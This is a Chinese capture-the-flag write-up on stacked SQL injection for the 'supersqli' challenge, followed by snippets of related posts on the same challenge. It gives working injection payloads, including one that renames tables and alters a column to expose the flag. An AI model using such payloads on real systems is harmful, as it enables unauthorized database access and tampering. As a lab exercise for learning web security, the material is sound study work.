0x01 堆叠注入

1、定义与说明

  • 在sql中,分号(;)表示一条sql语句的结束。在;结束之后继续构造下一条语句,会一起执行,因此为堆叠注入。
  • union联合查询是将两条语句合并之后进行查询,union执行的语句有限。
  • 堆叠注入可以执行任意的语句

2、查询语句

查询数据库:

  • show databases

查询表:

  • show tables

显示表中列的信息:

  • show columns from table_name
  • desc table_name
  • select * from information_schema.columns where table_schema="" and table_name=""

更改表的名字:

  • rename table table_name1 to newtable_name1 [, table_name2 to newtable_name2]
  • alter table table_name to newtable_name

更改字段的名字:

  • alter table table_name change name column_name varchar(20) not null

0x02

1、存在sql注入

GET,字符型,单引号

?inject=1' order by 2--+

select等一些语句被过滤

2、堆叠注入

?inject=1';show databases;--+

保证前面的语句闭合,执行后面的语句

得到了数据表

查看表的结构

只能查看words表,不能查看另一个表

重命名表

将words默认表重命名为word1,将数字表重命名为words

在words表插入一列,id,flag

那么我们查询id为1,得出flag

?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);--+

参考链接:

https://www.cnblogs.com/0nth3way/articles/7128189.html

https://www.cnblogs.com/dedragon/p/12728498.html

https://blog.csdn.net/qq_26406447/article/details/90643951

supersqli的更多相关文章

  1. 攻防世界(六)supersqli

    攻防世界系列:supersqli 方法一: 用逗号包裹回显正常,说明存在注入 1';--+(注释符也可用 -- 或 # 发现均未被过滤!) 有order by 语句可知表由2个字段,使用联合查询 (想 ...

  2. 攻防世界supersqli

    supersqli 补充知识点 rename 命令格式: rename table 原表名 to 新表名 例如,在表myclass名字更改为youclass: mysql>rename tabl ...

  3. xctf-web supersqli

    单引号注入,用order by查到了两个column.用union select的时候发现select关键字被过滤了 用分号尝试堆叠注入显示出了两张表 分别查询字段 flag在表19198109311 ...

  4. 2019 第三届强网杯线上赛部分web复现

    0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...

  5. buuctf | [强网杯 2019]随便注

    1' and '0,1' and '1  : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...

  6. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  7. WriteUp_easy_sql_堆叠注入_强网杯2019

    题目描述 随便注 解题过程 查看源码,发现应该不适合sqlmap自动化注入,该题应该是让你手工注入: <!-- sqlmap是没有灵魂的 --> <form method=" ...

  8. 攻防世界/强网杯 2019-supersqli

    靶场地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page= ...

  9. [BUUOJ记录] [强网杯 2019]随便注(三种方法)

    本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...

随机推荐

  1. 彻底解决Python编码问题

    1. 基本概念 字符集(Character set) 解释:文字和符合的总称 常见字符集: Unicode字符集 ASCII字符集(Unicode子集) GB2312字符集 编码方法(Encoding ...

  2. 学Python的你必须要知道,这十个Python常用库

    想知道Python取得如此巨大成功的原因吗?只要看看Python提供的大量库就知道了 包括原生库和第三方库. 不过,有这么多Python库,有些库得不到应有的关注也就不足为奇了. 此外,只在一个领域里 ...

  3. all_user_func()详解

    来源:https://blog.csdn.net/moliyiran/article/details/83514495 call_user_func — 把第一个参数作为回调函数调用 通过函数的方式回 ...

  4. tp5.0--多个条件查询全部数据

    用where来查询的话(非主键): 查找:

  5. ansible的清单管理与模块应用(三)

  6. 异常:由 spring-session pom 引发

    错误异常 Correct the classpath of your application so that it contains a single, compatible version of o ...

  7. javescrip内嵌样式与外联样式怎么做?

    对于前端初学者,个人JS样式常用的有两种:内嵌样式 ,外联样式:下面通过一个简单的鼠标点击出现设定的验证数字为例进行演示: 先看下效果: 鼠标点击前效果: 鼠标点击后效果: 图中的这个ojbk是我js ...

  8. 【Linux题目】第四关

    1. 如何过滤出已知当前目录下oldboy中的所有一级目录? 提示:不包含oldboy目录下面目录的子目录和隐藏目录,只要一级目录即可. 解答: ls -F|grep /   通过ls -F给目录后面 ...

  9. React Native中自定义导航条

    这是2017年年初开始的公司的项目,对于导航条的要求很高,Android和iOS上必须用一致的UI,按钮位置还有各种颜色都有要求,而且要适应各种奇葩要求. 尝试了一下当时React Native自带的 ...

  10. 关于IE8上传文件的一些问题

    问题1: IE8下上传完文件后,对后台返回的JSON格式的数据,浏览器提示了下载该文件. 原因是因为IE8还不支持'application/json"类型的响应. 解决方法将后台返回的JSO ...